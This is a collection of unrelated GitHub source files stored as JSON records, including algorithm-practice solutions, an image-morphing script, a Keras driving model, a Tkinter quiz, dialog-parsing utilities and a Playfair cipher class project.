+{"seq_id":"26352325433","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\ndef solution(n: int, c: int) -> int:\r\n    xs = [int(input()) for _ in range(n)]\r\n    xs.sort()\r\n\r\n    start, end = 1, xs[-1]//(c-1) + 1\r\n    minys = list()\r\n\r\n    while start <= end:\r\n        cnt = 1\r\n        cx = xs[0]\r\n        mid = (start + end) // 2\r\n\r\n        for i in range(1, n):\r\n            if xs[i] >= cx + mid:\r\n                cnt += 1\r\n                cx = xs[i]\r\n\r\n        if cnt >= c:\r\n            start = mid + 1\r\n        else:\r\n            end = mid - 1\r\n\r\n    return end\r\n\r\n\r\nprint(solution(*map(int, input().split())))\r\n","repo_name":"Seunghoon-Schini-Yang/Algorithm_Schini","sub_path":"백준/Gold/2110. 공유기 설치/공유기 설치.py","file_name":"공유기 설치.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"23967236933","text":"\"\"\"\nModule: morphing.py\nAuthor: Mae Horak for masters thesis - Synesthetic Composition 2023\nDescription: Takes 4 images and creates a grid of morphs between them, naming with x and y coordinates.\n\n\"\"\"\nimport cv2\nimport os\n\n# Load your four corner images\nimage1 = cv2.imread('surreal/good.png')\nimage2 = cv2.imread('surreal/evil.png')\nimage3 = cv2.imread('surreal/exciting.png')\nimage4 = cv2.imread('surreal/moody.png')\n\n# Ensure all corner images have the same dimensions\nif image1.shape != image2.shape != image3.shape != image4.shape:\n    raise ValueError(\"All corner images must have the same dimensions.\")\n\n# Define the size of the grid\ngrid_size = (20, 20)\n\n# Create an output directory (if it doesn't exist)\noutput_dir = 'output_paintings'\nos.makedirs(output_dir, exist_ok=True)\n\n# Perform interpolation and save the interpolated frames\nfor y in range(grid_size[1]):\n    for x in range(grid_size[0]):\n        # Calculate interpolation factors\n        alpha_x = x / (grid_size[0] - 1)  # Interpolation factor for columns\n        alpha_y = y / (grid_size[1] - 1)  # Interpolation factor for rows\n\n        # Interpolate between the corner images\n        top_row = cv2.addWeighted(image1, 1 - alpha_x, image2, alpha_x, 0)\n        bottom_row = cv2.addWeighted(image3, 1 - alpha_x, image4, alpha_x, 0)\n        interpolated_frame = cv2.addWeighted(top_row, 1 - alpha_y, bottom_row, alpha_y, 0)\n\n        # Save the interpolated frame with its X and Y coordinates\n        filename = os.path.join(output_dir, f'img{x}_{y}.png')\n        cv2.imwrite(filename, interpolated_frame)\n","repo_name":"mkh7878/synesthetic_composition","sub_path":"Additional Python/morphing.py","file_name":"morphing.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"18989693208","text":"from maqueenplus_v1_picoed_v2_lib import *\nfrom time import sleep_ms\nfrom picoed_v2_lib import *\nfrom machine import Pin, I2C\n\n\ni2c1 = I2C(IIC.BUS1, scl=Pin(IIC.SCL1), sda=Pin(IIC.SDA1), freq=100000)\nmq = MaqueenPlus(i2c1)\nmq.line_bw_threshold = 2600\n\nfor x in range(10):\n    print(\"Line sensors black - auto (L3, L2, L1, R1, R2, R3)    : {}.\".format(mq.line_bw_auto))\n    print(\"Line sensors black - threshold (L3, L2, L1, R1, R2, R3)    : {}.\".format(mq.line_bw))\n    print(\"Line sensors black split - threshold (L3, L2, L1, R1, R2, R3): {}.\".format(mq.line_bw_split))\n    print(\"Line sensors grayscale all (L3, L2, L1, R1, R2, R3): {}.\".format(mq.line_grays))\n    print(\"Line sensors grayscale each (L3, L2, L1, R1, R2, R3): {}, {}, {}, {}, {}, {}.\"\n          .format(mq.line_gray_l3, mq.line_gray_l2, mq.line_gray_l1, mq.line_gray_r1, mq.line_gray_r2, mq.line_gray_r3))\n    print()\n    sleep_ms(2000)\n    ","repo_name":"e1nice/maqueenplus-v1-picoed-v2-lib","sub_path":"examples/example_line_sensors.py","file_name":"example_line_sensors.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"16024140432","text":"# -*- coding:utf8 -*-\nimport base64\n\n# 读取base64密文\nf1 = open('把猪困在猪圈里.txt', 'r', encoding='utf-8')\nc = f1.read()\nf1.close()\n\n# base64解码，查看16个字节有没有magic\nm = base64.b64decode(c)\nprint(m[0:16])\n\n# 输出到二进制文件\nf = open('把猪困在猪圈里.bin', 'wb')\nf.write(m)\nf.close()\n","repo_name":"Ascetics/ctfkit","sub_path":"bugku_crypto/把猪困在猪圈里.py","file_name":"把猪困在猪圈里.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"11742981155","text":"def solution(S):\n    # write your code in Python 3.6\n    sentences = []\n    for dot in S.split(\".\"):\n        for question in dot.split(\"?\"):\n            for exclamation in question.split(\"!\"):\n                sentences.append(exclamation.strip())\n    ans = 0\n    for sentence in sentences:\n        if sentence:\n            if ans < len(sentence.split()):\n                ans = len(sentence.split())\n\n\nprint(solution(\"We test coders. Give us a try?\"))\n","repo_name":"wkdtjsgur100/algorithm-python","sub_path":"google_kickstart/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"1241457756","text":"#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n# Complete the encryption function below.\r\ndef encryption(s):\r\n    l=len(s)\r\n    x=math.floor(l**0.5)\r\n    y=math.ceil(l**0.5)\r\n    j=0\r\n    i=0\r\n    a=''\r\n    z=0\r\n    while j!=y:\r\n        i=z\r\n        while i<=l-1:\r\n            a+=s[i]\r\n            i+=y\r\n        a+=' '\r\n        j+=1\r\n        z+=1\r\n    print(a)\r\n    \r\ns = input()\r\nencryption(s)\r\n\r\n","repo_name":"nishant-sethi/HackerRank","sub_path":"Algorithm/Implementation/Encryption.py","file_name":"Encryption.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"47"}
+{"seq_id":"8535715555","text":"import csv\nimport itertools\nimport numpy as np\nfrom skimage import io\n\ndef read_data(filename, skip_header = False):\n    with open(filename) as csvfile:\n        datareader = csv.reader(csvfile)\n        \n        if skip_header:\n            next(datareader)\n            \n        for row in datareader:\n            yield row\n\ndef look_ahead(A, num = 5): \n    \"\"\"\n    This will return a vector of the next 5 for each value\n    \"\"\"\n    length = len(A)\n    return np.dstack([A[i:length-num+i] for i in range(0, num)])[0]\n\ndef get_data(data_dir = \"./data/\", skip_header = False, split=0.8):\n    \"\"\"\n    Load the data, augment the steering angle (see 'look_ahead'), and shuffle\n    \"\"\"\n    # params\n    log_path = data_dir + \"driving_log.csv\"\n    \n    def get_path(name):\n        return data_dir + \"IMG/\" + (name.split('/')[-1])\n            \n    rows = np.array([(get_path(row[0]), get_path(row[1]), get_path(row[2]), row[3]) for row in read_data(log_path, skip_header)])\n    S = look_ahead([float(row[3]) for row in rows])\n    \n    train_len = int(split * len(S))\n    perms = np.random.permutation(len(S))\n    \n    return (rows[perms[0:train_len]], S[perms[0:train_len]]), (rows[perms[train_len:]], S[perms[train_len:]])\n    \ndef generate_data(data, batch_size = 128, correction = 0.21, train = True):\n    \"\"\"\n    generator for the data\n    \"\"\"\n    t, v = data\n    if train:\n        rows, S = t\n    else:\n        rows, S = v\n        \n    images = []\n    measurements = []\n    \n    for i in range(len(rows)):\n        row = rows[i]\n        steering_center = S[i]\n        # create adjusted steering measurements for the side camera images\n        steering_left = steering_center + correction\n        steering_right = steering_center - correction\n\n        steerings = [steering_center, steering_left, steering_right]\n\n        for p in range(3):\n            image = io.imread(row[p])\n            measurement = steerings[p]\n            # original image\n            images.append(image)\n            measurements.append(measurement)\n\n            if len(images) % batch_size == 0 and len(images) > 0:\n                yield np.array(images), np.array(measurements)\n                images = []\n                measurements = []\n\n            # flipped image\n            flipped_image = np.fliplr(image)\n            images.append(flipped_image)\n            measurements.append(-measurement)\n\n            if len(images) % batch_size == 0 and len(images) > 0:\n                yield np.array(images), np.array(measurements)\n                images = []\n                measurements = []\n\ndef combine(*generators):\n    for generator in generators:\n        for res in generator:\n            yield res\n                    \nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense, Lambda, Dropout\nfrom keras.layers import Conv2D, Cropping2D\nfrom keras.optimizers import Adam\n\nmodel = Sequential()\n\n# normalization and cropping\nmodel.add(Lambda(lambda x: x / 127.5 - 1.0, input_shape=(160,320,3))) # normalization\nmodel.add(Cropping2D(cropping=((70,25), (0,0))))\n\n# convolution\nmodel.add(Conv2D(18, (3,3), padding=\"valid\", activation=\"elu\", use_bias=False))\nmodel.add(Conv2D(24, (5,5), strides=(2, 4), padding=\"valid\", activation=\"elu\", use_bias=False))\nmodel.add(Conv2D(48, (5,5), strides=(2, 4), padding=\"valid\", activation=\"elu\", use_bias=False))\nmodel.add(Conv2D(64, (3,3), strides=(2, 2), padding=\"valid\", activation=\"elu\", use_bias=False))\nmodel.add(Conv2D(96, (3,3), strides=(2, 2), padding=\"valid\", activation=\"elu\", use_bias=False))\n\n# final\nmodel.add(Flatten())\nmodel.add(Dropout(0.2))\nmodel.add(Dense(256, activation='elu', use_bias=False))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(128, activation='elu', use_bias=False))\nmodel.add(Dense(5, use_bias=False))\n\n# compile model.\nmodel.compile(loss=\"mse\", optimizer=Adam(lr=0.001))\nmodel.summary()\n\n# train model.\n\nt1 = get_data(\"./data0616/\", False)\nt2 = get_data(\"./data0721/\", False)\n\nvalidation = itertools.cycle(combine(generate_data(t1, train = False), generate_data(t2, train = False)))\ntrain = itertools.cycle(combine(generate_data(t1), generate_data(t2)))\n\nmodel.fit_generator(train, steps_per_epoch = 220, validation_data = validation, validation_steps = 55, epochs=10)\n\nfrom keras.utils import plot_model\nplot_model(model, to_file='model.png', show_shapes=True, show_layer_names=False)\n\n# save model.\nmodel.save('model.h5')","repo_name":"micsh/Behavioral-Cloning-P3","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"39336008423","text":"import torch\nimport roma\nimport logging\n\ndef add_gauss_noise(data, sigma):\n    noise = torch.randn_like(data) * sigma\n    return data + noise\n\ndef delta_q(real_q, q1):\n    logging.debug(f\"Real Q {real_q} with shape {real_q.shape} and q1 with shape {q1.shape}\")\n    b, _ = q1.shape\n    deltas = 2*torch.arccos(torch.clamp(torch.abs(torch.bmm(torch.unsqueeze(real_q, dim=0).repeat((b,1)).view(b, 1, 4), q1.view(b, 4, 1))), -1, 1))\n    logging.debug(f\"Delta Q is {deltas}\")\n    return deltas\n\n\ndef generate_gps_data(pos, sigma, drop):\n    ret = pos[::drop, :]\n    return add_gauss_noise(ret, sigma)\n\ndef euler_to_rot(euler_angles): #Tested\n    # Extract the individual Euler angles\n    alpha, beta, gamma = euler_angles[0], euler_angles[1], euler_angles[2]\n\n    # Compute the sin and cosine of each angle\n    ca = torch.cos(alpha)\n    cb = torch.cos(beta)\n    cg = torch.cos(gamma)\n    sa = torch.sin(alpha)\n    sb = torch.sin(beta)\n    sg = torch.sin(gamma)\n\n    # Construct the rotation matrix\n    R = torch.zeros((3, 3), dtype=torch.float32)\n    R[0, 0] = cb * cg\n    R[0, 1] = -cb * sg\n    R[0, 2] = sb\n    R[1, 0] = ca * sg + sa * sb * cg\n    R[1, 1] = ca * cg - sa * sb * sg\n    R[1, 2] = -sa * cb\n    R[2, 0] = sa * sg - ca * sb * cg\n    R[2, 1] = sa * cg + ca * sb * sg\n    R[2, 2] = ca * cb\n\n    return R\n\ndef quat_to_euler(quat): #Tested\n    # Extract the individual quaternion components\n    q0, q1, q2, q3 = quat[0], quat[1], quat[2], quat[3]\n\n    # Compute the Euler angles\n    alpha = torch.atan2(2 * (q0 * q1 + q2 * q3), 1 - 2 * (q1**2 + q2**2))\n    beta = torch.asin(2 * (q0 * q2 - q3 * q1))\n    gamma = torch.atan2(2 * (q0 * q3 + q1 * q2), 1 - 2 * (q2**2 + q3**2))\n\n    return torch.stack([alpha, beta, gamma])\n\n\n    \n    \n\ndef euler_to_quat(euler_angles): #Tested\n    # Extract the individual Euler angles\n    alpha, beta, gamma = euler_angles[0], euler_angles[1], euler_angles[2]\n\n    # Compute the sin and cosine of each angle\n    ca = torch.cos(alpha / 2)\n    cb = torch.cos(beta / 2)\n    cg = torch.cos(gamma / 2)\n    sa = torch.sin(alpha / 2)\n    sb = torch.sin(beta / 2)\n    sg = torch.sin(gamma / 2)\n\n    # Construct the quaternion\n    q = torch.zeros((4,), dtype=torch.float32, device=euler_angles.device)\n    q[0] = ca * cb * cg + sa * sb * sg\n    q[1] = sa * cb * cg - ca * sb * sg\n    q[2] = ca * sb * cg + sa * cb * sg\n    q[3] = ca * cb * sg - sa * sb * cg\n\n    return q\n\ndef generate_imu_data(accel, sigma, drop, rot, ang_vel, sigma_ang_vel):\n    accel_new = accel[::drop, :]\n    ang_vel_new = ang_vel[::drop, :]\n    quats = rot.repeat(accel_new.shape[0], 1)\n    accel_new = roma.quat_action(quats, accel_new, is_normalized=True)\n    ang_vel_new = roma.quat_action(quats, ang_vel_new, is_normalized=True)\n    return add_gauss_noise(accel_new, sigma), add_gauss_noise(ang_vel_new, sigma_ang_vel)\n","repo_name":"r4hul77/Bayesian_Calibration","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"17468823572","text":"# Python for backend stuff...\r\n# Made and Designed by Navaneeth\r\n# This application is strictly for my school project.\r\n# Lesson -> Employability Skills > Unit 3\r\n# These questions are strictly based on the latest NCERT book.\r\n\r\n# Thank you for using this, user!\r\n\r\nfrom tkinter import *\r\nfrom tkinter import messagebox as mb\r\nfrom tkinter.messagebox import askyesno, askokcancel\r\nimport json\r\n\r\nroot = Tk()\r\nroot.geometry(\"800x500\")\r\nroot.title(\"Quiz - School Project\")\r\n\r\nwith open('quiz.json') as f:\r\n    obj = json.load(f)\r\nq = (obj['ques'])\r\noptions = (obj['options'])\r\na = (obj['ans'])\r\n\r\nclass Quiz:\r\n    def __init__(self):\r\n        self.qn = 0\r\n        self.ques = self.question(self.qn)\r\n        self.opt_selected = IntVar()\r\n        self.opts = self.radiobtns()\r\n        self.display_options(self.qn)\r\n        self.buttons()\r\n        self.correct = 0\r\n\r\n    def question(self, qn):\r\n        t = Label(root, text=\"Quiz in ICT Skills\", width=50, bg=\"blue\", fg=\"white\", font=(\"Arial\", 20, \"bold\"))\r\n        t.place(x=0, y=2)\r\n        fsdis = Label(root, text=\"Fullscreen-disabled\", font=(\"times\", 10))\r\n        fsdis.place(x=0, y=470)\r\n        navmsg = Label(root, text=\"-Made by Navaneeth\", font=(\"times\", 10))\r\n        navmsg.place(x=670, y=470)\r\n        qn = Label(root, text=q[qn], width=60, font=(\"times\", 15, \"bold\"), anchor=\"w\")\r\n        qn.place(x=70, y=100)\r\n        return qn\r\n\r\n    \"\"\"\r\nRadio buttons are buttons that we choose as the correct option, in this case: the answer.\r\nThey play a very important role in this quiz as they help us select the correct answers, rather than \r\nus typing the correct answer and getting the spelling wrong.\r\n\r\nFirst, set a value to the radio button, in this case, its 0.\r\nThen set the value for the boxes as an empty list.\r\nThe set the y position of the radio buttons as 150.\r\n\r\n    while value < 4:\r\n        button = SetRadioButton(root, text=\" \", variable = self.option_selected, value = value + 1, font=(\"times\", 14))\r\n        b.append(btn)\r\n        btn.place(x=100, y=yp)\r\n        Add the y position of the radio button upto 40, in this case: yp += 40\r\n\r\n    return the value of \"b\"\r\n    return b\r\n\r\n    \"\"\"\r\n\r\n    def radiobtns(self):\r\n        val = 0\r\n        b = []\r\n        yp = 150\r\n        while val < 4:\r\n            btn = Radiobutton(root, text=\" \", variable=self.opt_selected, value=val + 1, font=(\"comicsansms\", 14))\r\n            b.append(btn)\r\n            btn.place(x=100, y=yp)\r\n            val += 1\r\n            yp += 50\r\n        return b\r\n\r\n    def display_options(self, qn):\r\n        val = 0\r\n        self.opt_selected.set(0)\r\n        self.ques['text'] = q[qn]\r\n        for op in options[qn]:\r\n            self.opts[val]['text'] = op\r\n            val += 1\r\n\r\n    def buttons(self):\r\n        nbutton = Button(root, text=\"Next\", command=self.nextbtn, width=10, bg=\"green\", fg=\"white\",\r\n                         font=(\"times\", 16, \"bold\"))\r\n        nbutton.place(x=300, y=380)\r\n        quitbutton = Button(root, text=\"Quit\", command=self.confirm, width=10, bg=\"red\", fg=\"white\",\r\n                            font=(\"times\", 16, \"bold\"))\r\n        quitbutton.place(x=500, y=380)\r\n        backbutton = Button(root, text=\"Back\", command=self.backbtn, width=10, bg=\"yellow\", fg=\"black\",\r\n                            font=(\"times\", 16, \"bold\"))\r\n        backbutton.place(x=100, y=380)\r\n\r\n    def confirm(self):\r\n        answer = askyesno(title='Warning!', message='Are you sure that you want to quit? \\n'\r\n                                                    '(Tip: Answer all the questions before quitting.)')\r\n        if answer:\r\n            root.quit()\r\n\r\n    def checkans(self, qn):\r\n        if self.opt_selected.get() == a[qn]:\r\n            return True\r\n\r\n    def backbtn(self):\r\n        if self.qn >= 1:\r\n            self.qn -= 1\r\n        if self.qn == len(q):\r\n            self.display_result()\r\n        else:\r\n            self.display_options(self.qn)\r\n\r\n    def nextbtn(self):\r\n        if self.checkans(self.qn):\r\n            self.correct += 1\r\n        self.qn += 1\r\n        if self.qn == len(q):\r\n            self.display_result()\r\n        else:\r\n            self.display_options(self.qn)\r\n\r\n    def display_result(self):\r\n        score = int(self.correct / len(q) * 100)\r\n        result = \"Score: \" + str(score) + \"%\"\r\n        wc = len(q) - self.correct\r\n        correct = \"No. of correct answers: \" + str(self.correct)\r\n        wrong = \"No. of wrong answers: \" + str(wc)\r\n        mb.showinfo(\"Result\", \"\\n\".join([result, correct, wrong]))\r\n\r\nquiz = Quiz()\r\nroot.mainloop()\r\n","repo_name":"NavEatsSausage/SCHOOL11","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"13041516669","text":"import json\nimport re\n\nfrom mm_action_prediction.tools.action_evaluation import evaluate_action_prediction\n\nSTART_OF_MULTIMODAL_CONTEXTS = '<som>'\nEND_OF_MULTIMODAL_CONTEXTS = '<eom>'\n\n\ndef parse_furniture_attribute_str(attr_list):\n    if not attr_list:\n        return dict()\n    res = dict()\n    attr_str = ' '.join(attr_list).replace(']', '').replace('[', '').split(',')\n    for kv_str in attr_str:\n        kv_str = kv_str.strip()\n        if ':' in kv_str:\n            key, value = kv_str.split(':')[:2]\n            key = key.strip()\n            value = value.strip()\n            res[key] = value\n        else:\n            res[kv_str] = \"\"\n    return res\n\n\ndef parse_flattened_results_from_file(path, key, use_act_pred):\n    results = []\n    dialogs = json.load(open(path, 'r'))\n    for dialog in dialogs['dialogs']:\n        for turn in dialog['dialog']:\n            if use_act_pred:\n                split_turn = turn[key].split()\n                act = split_turn[0] if len(split_turn) > 0 else \"\"\n                attr = split_turn[2:-1] if len(split_turn) > 3 else None\n                parsed = {\n                    'act': act,\n                    'attr': attr\n                }\n            else:\n                parsed = parse_flattened_result(turn[key])\n            results.append(parsed)\n\n    return results\n\n\ndef parse_action_results_from_data(dialogs_gt, dialogs_pred, is_furniture, key):\n    results = []\n    for idx_d, dialog in enumerate(dialogs_gt):\n        dialog_pred = []\n        for idx_turn, turn in enumerate(dialogs_pred[idx_d]['dialog']):\n            split_turn = turn[key].split()\n            act = split_turn[0] if len(split_turn) > 0 else \"\"\n            attr = split_turn[2:-1] if len(split_turn) > 3 else []\n            if is_furniture:\n                parsed = {\n                    'action': act,\n                    'attributes': parse_furniture_attribute_str(attr)\n                }\n            else:\n                parsed = {\n                    'action': act,\n                    'attributes': {'attributes': attr}\n                }\n            dialog_pred.append(parsed)\n        results.append({\n            'dialog_id': dialog['dialog_id'],\n            'predictions': dialog_pred\n        })\n\n    action_metrics = evaluate_action_prediction(dialogs_gt, results)\n\n    return action_metrics\n\n\ndef parse_action_results_from_file(path_pred, path_target, key):\n    dialogs_gt = json.load(open(path_target, 'r'))\n    dialogs_pred = json.load(open(path_pred, 'r'))['dialogs']\n    is_furniture = 'furniture' in path_target\n    return parse_action_results_from_data(dialogs_gt, dialogs_pred, is_furniture, key)\n\n\ndef parse_flattened_result(to_parse):\n    \"\"\"\n        Parse out the belief state from the raw text.\n        Return an empty list if the belief state can't be parsed\n\n        Input:\n        - A single <str> of flattened result\n          e.g. 'User: Show me something else => Belief State : DA:REQUEST ...'\n\n        Output:\n        - Parsed result in a JSON format, where the format is:\n            [\n                {\n                    'act': <str>  # e.g. 'DA:REQUEST',\n                    'slots': [\n                        <str> slot_name,\n                        <str> slot_value\n                    ]\n                }, ...  # End of a frame\n            ]  # End of a dialog\n    \"\"\"\n    dialog_act_regex = re.compile('([\\w:?.?]*)  *\\[([^\\]]*)\\]')\n    slot_regex = re.compile('([A-Za-z0-9_.-:]*)  *= ([^,]*)')\n\n    belief = []\n\n    # Parse\n    # to_parse: 'DIALOG_ACT_1 : [ SLOT_NAME = SLOT_VALUE, ... ] ...'\n    to_parse = to_parse.strip()\n\n    for dialog_act in dialog_act_regex.finditer(to_parse):\n        d = dict()\n        d['act'] = dialog_act.group(1)\n        d['slots'] = []\n\n        for slot in slot_regex.finditer(dialog_act.group(2)):\n            d['slots'].append(\n                [\n                    slot.group(1).strip(),\n                    slot.group(2).strip()\n                ]\n            )\n\n        if d != {}:\n            belief.append(d)\n\n    return belief\n\n\ndef represent_visual_objects(visual_objects):\n    # Stringify visual objects (JSON)\n    target_attributes = ['pos', 'color', 'type', 'class_name', 'decor_style']\n\n    list_str_objects = []\n    for obj_name, obj in visual_objects.items():\n        s = obj_name + ' :'\n        for target_attribute in target_attributes:\n            if target_attribute in obj:\n                target_value = obj.get(target_attribute)\n                if target_value == '' or target_value == []:\n                    pass\n                else:\n                    s += f' {target_attribute} {str(target_value)}'\n        list_str_objects.append(s)\n\n    str_objects = ' '.join(list_str_objects)\n    str_objects = str_objects.replace('\\'', ' \\' ').replace('[', ' [ ').replace(']', ' ] ')\n    return f'{START_OF_MULTIMODAL_CONTEXTS} {str_objects} {END_OF_MULTIMODAL_CONTEXTS}'\n","repo_name":"i2r-simmc/i2r-simmc-2020","sub_path":"src/utils/convert_utils.py","file_name":"convert_utils.py","file_ext":"py","file_size_in_byte":4876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
+{"seq_id":"32295401404","text":"# -*- coding: utf-8 -*-\n#Python 2.7.9 |Anaconda 2.2.0 (64-bit)| (default, Dec 18 2014, 16:57:52) [MSC v.1500 64 bit (AMD64)]\n\"\"\"\nCreated on Tue Mar 08 21:23:15 2016\n\n@author: RajanPatel\n\"\"\"\n#Number 1: Playfair\n\nimport numpy as np\nimport difflib\n\nalphabetStr = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\"\nInputPlainText = \"!@#$%^&*()-=' 0123456789It may be unfair, but what happens in a few days, sometimes even a single day, can change the course of a whole lifetime\"\nInputPlainText2 = \" Hello Good morning1\"\n\n#Input: InputPlainText\n#Output: Mature InputPlainText, This function removes all punction and symbols \n#that are not part of the basic alphabet with the exception of numberical values.\ndef mIPT(IPT):\n    \n    mStr = \"\"\n    #Checks to see if character is an letter or number\n    for i in range(0, len(IPT)):\n        if((ord(IPT[i]) >= 48 and ord(IPT[i]) <= 57) or\n            (ord(IPT[i]) >= 65 and ord(IPT[i]) <= 90) or\n            (ord(IPT[i]) >= 97 and ord(IPT[i]) <= 122)):                \n            #Adds letters and converts them to uppercase\n            mStr = mStr + IPT[i].upper()\n        \n    return mStr\n        \n#Input: key\n#Output: playfair matrix\ndef createMatrix(key):\n    #Creates a mature key by removing all non alphanumeric characters\n    mKey = checkKey(key)    \n    #checks to see if key is longer than 36 characters\n    if(len(key) > 36):\n        print (\"Key too long.\")\n        \n    mAlphabetStr = \"\"\n    #Need to remove repeating characters in keys \n    mAlphabetStr = alphabetStr.translate(None, mKey)\n    mKey = mKey + mAlphabetStr\n    mKey = list(mKey)\n    matrix = np.asarray(mKey)\n    #Creates a 6 x 6 matrix with key\n    matrix = np.reshape(matrix, (6, 6))\n    return matrix\n        \n#Input: Raw key \n#Output: Mature key, This function removes repeating alphanumeric characters\ndef checkKey(key):\n    \n    key = mIPT(key)    \n    for i in range(1,len(key)-1):\n        if(key[i] in key[:i]):            \n            key = key[:i] + \" \" + key[i+1:]             \n    key = mIPT(key)\n    return key \n    \n    \n#Input: plaintext, and key\n#Output: cipher \ndef encrypt(plaintext, key):\n    \n    cipher = \"\"\n    matrix = createMatrix(key)\n    plaintext = mIPT(plaintext)\n    #Makes the plaintext length even\n    if(len(plaintext)%2 == 1):\n        plaintext = plaintext + 'Z'\n    \n    for i in range(0,len(plaintext),2):\n        \n        firstLetterLocation = np.where(matrix==plaintext[i])\n        secondLetterLocation = np.where(matrix==plaintext[i+1])   \n        #Adds X if two consecutive letters are repeating\n        if(plaintext[i] == plaintext[i+1]):\n            cipher = cipher + plaintext[i] + 'X'\n        #Shift two letter to the right if both letters are in the same row    \n        elif(firstLetterLocation[0][0] == secondLetterLocation[0][0]):\n            cipher = cipher + matrix[firstLetterLocation[0][0],(firstLetterLocation[1][0]+1) %6]\n            cipher = cipher + matrix[secondLetterLocation[0][0],(secondLetterLocation[1][0]+1) %6]\n        #Shift two letter down if both letter are in the same column                          \n        elif(firstLetterLocation[1][0] == secondLetterLocation[1][0]):\n            cipher = cipher + matrix[(firstLetterLocation[0][0]+1) %6,firstLetterLocation[1][0]]\n            cipher = cipher + matrix[(secondLetterLocation[0][0]+1) %6,secondLetterLocation[1][0]]\n        #Replaces two letters with its opposite corner of the rectangle    \n        else:\n            firstLocation = [firstLetterLocation[0][0],firstLetterLocation[1][0]]\n            secondLocation = [secondLetterLocation[0][0],secondLetterLocation[1][0]]\n            cipher = cipher + matrix[firstLocation[0],secondLocation[1]]\n            cipher = cipher + matrix[secondLocation[0],firstLocation[1]]\n            \n    return cipher\n    \n    \n    \n    \ndef decrypt(cipher, key):    \n    \n    plaintext = \"\"\n    matrix = createMatrix(key)\n    cipher = mIPT(cipher)\n    \n    for i in range(0,len(cipher),2):\n        \n        firstLetterLocation = np.where(matrix==cipher[i])\n        secondLetterLocation = np.where(matrix==cipher[i+1])   \n        #Attempts to correct for double letters in the plaintext\n        if('X' == cipher[i+1]):\n            #print cipher[i]\n            plaintext = plaintext + cipher[i] + cipher[i]\n        #Reverse row shift\n        elif(firstLetterLocation[0][0] == secondLetterLocation[0][0]):\n            plaintext = plaintext + matrix[firstLetterLocation[0][0],(firstLetterLocation[1][0]-1) %6]\n            plaintext = plaintext + matrix[secondLetterLocation[0][0],(secondLetterLocation[1][0]-1) %6]\n        #Reverse column shift\n        elif(firstLetterLocation[1][0] == secondLetterLocation[1][0]):\n            plaintext = plaintext + matrix[(firstLetterLocation[0][0]-1) %6,firstLetterLocation[1][0]]\n            plaintext = plaintext + matrix[(secondLetterLocation[0][0]-1) %6,secondLetterLocation[1][0]]\n        #Reverse rectangle shift\n        else:\n            firstLocation = [firstLetterLocation[0][0],firstLetterLocation[1][0]]\n            secondLocation = [secondLetterLocation[0][0],secondLetterLocation[1][0]]\n            plaintext = plaintext + matrix[firstLocation[0],secondLocation[1]]\n            plaintext = plaintext + matrix[secondLocation[0],firstLocation[1]]\n    \n    return plaintext\n    \n    \n  \n   \n    \n    \n#def writeFile(text):\n#    file = open('workfile', 'w')\n#    \n#    file.write(text)    \n#    file.close()   \n#    \n#    \n#def readFile():\n#    \n#    file = open('workfile', 'r')    \n#    line = file.read()  \n#    \n#    file.close()\n#    return line    \n    \n\ndef main():\n    \n    key = input(\"Enter key as string: \")  \n    plaintext = input(\"Enter alphanumeric plaintext as string: \")\n    \n    cipher = encrypt(plaintext, key)    \n    print (cipher)\n    print (decrypt(cipher, key))\n    \n   \n# AX pair is assumed to be double As    \n   ","repo_name":"rp25/oldClassWork","sub_path":"Cryptology/proj1_playfair_rajanp1.py","file_name":"proj1_playfair_rajanp1.py","file_ext":"py","file_size_in_byte":5841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"70095864143","text":"# Services related to codeforces rating\nfrom typing import List\n\nfrom clients import discord_client, codeforces_client\nfrom models.codeforces.rating_change import RatingChange\n\n\ndef get_user_rating(username):\n    \"\"\"get rating from codeforces server by API\"\"\"\n\n    # get user rating changes from codeforces\n    list_of_rating_changes = codeforces_client.get_user_rating_by_handle(username)\n    # calculate rating\n    return calc_final_rating(list_of_rating_changes)\n\n\ndef calc_final_rating(list_of_rating_changes: List[RatingChange]):\n    \"\"\"final rating = new_rating of the record with max rating_update_time_seconds\"\"\"\n    latest_rating = 0\n    latest_rating_time = 0\n    for rating_change in list_of_rating_changes:\n        if rating_change.rating_update_time_seconds > latest_rating_time:\n            latest_rating_time = rating_change.rating_update_time_seconds\n            latest_rating = rating_change.new_rating\n    return latest_rating\n","repo_name":"ferez96/StupidBot","sub_path":"services/codeforces/rating.py","file_name":"rating.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
